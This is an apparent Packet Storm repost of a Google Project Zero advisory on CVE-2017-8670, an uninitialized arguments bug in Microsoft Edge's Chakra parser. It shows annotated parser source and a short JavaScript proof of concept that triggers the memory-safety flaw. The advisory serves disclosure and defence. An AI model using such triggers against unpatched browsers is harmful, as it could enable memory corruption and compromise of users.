what you don't know can hurt you

Microsoft Edge Chakra Parser::ParseFncFormals Uninitialized Arguments

Microsoft Edge Chakra Parser::ParseFncFormals Uninitialized Arguments
Posted Aug 17, 2017
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra suffers from an uninitialized arguments vulnerability in Parser::ParseFncFormals with the "PNodeFlags::fpnArguments_overriddenInParam" flag.

tags | exploit
advisories | CVE-2017-8670
MD5 | a0bb4862186218d2082f06418fe41eef

Microsoft Edge Chakra Parser::ParseFncFormals Uninitialized Arguments

Change Mirror Download
Microsoft Edge: Chakra: Uninitialized arguments 2

CVE-2017-8670


Similar to the <a href="/p/project-zero/issues/detail?id=1297" title="Microsoft Edge: Chakra: Uninitialized arguments" class="closed_ref" rel="nofollow"> issue #1297 </a>. But this time, it happends in "Parser::ParseFncFormals" with the "PNodeFlags::fpnArguments_overriddenInParam" flag.

template<bool buildAST>
void Parser::ParseFncFormals(ParseNodePtr pnodeFnc, ParseNodePtr pnodeParentFnc, ushort flags)
{
...
if (IsES6DestructuringEnabled() && IsPossiblePatternStart())
{
...
// Instead of passing the STFormal all the way on many methods, it seems it is better to change the symbol type afterward.
for (ParseNodePtr lexNode = *ppNodeLex; lexNode != nullptr; lexNode = lexNode->sxVar.pnodeNext)
{
Assert(lexNode->IsVarLetOrConst());
UpdateOrCheckForDuplicateInFormals(lexNode->sxVar.pid, &formals);
lexNode->sxVar.sym->SetSymbolType(STFormal);
if (m_currentNodeFunc != nullptr && lexNode->sxVar.pid == wellKnownPropertyPids.arguments)
{
m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_overriddenInParam; <<------ HERE
}
}
...
...
}

PoC:
function f() {
({a = ([arguments]) => {
}} = 1);

arguments.x;
}

f();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    5 Files
  • 2
    Sep 2nd
    5 Files
  • 3
    Sep 3rd
    3 Files
  • 4
    Sep 4th
    13 Files
  • 5
    Sep 5th
    16 Files
  • 6
    Sep 6th
    15 Files
  • 7
    Sep 7th
    20 Files
  • 8
    Sep 8th
    16 Files
  • 9
    Sep 9th
    4 Files
  • 10
    Sep 10th
    2 Files
  • 11
    Sep 11th
    15 Files
  • 12
    Sep 12th
    19 Files
  • 13
    Sep 13th
    20 Files
  • 14
    Sep 14th
    38 Files
  • 15
    Sep 15th
    31 Files
  • 16
    Sep 16th
    1 Files
  • 17
    Sep 17th
    7 Files
  • 18
    Sep 18th
    15 Files
  • 19
    Sep 19th
    40 Files
  • 20
    Sep 20th
    8 Files
  • 21
    Sep 21st
    1 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close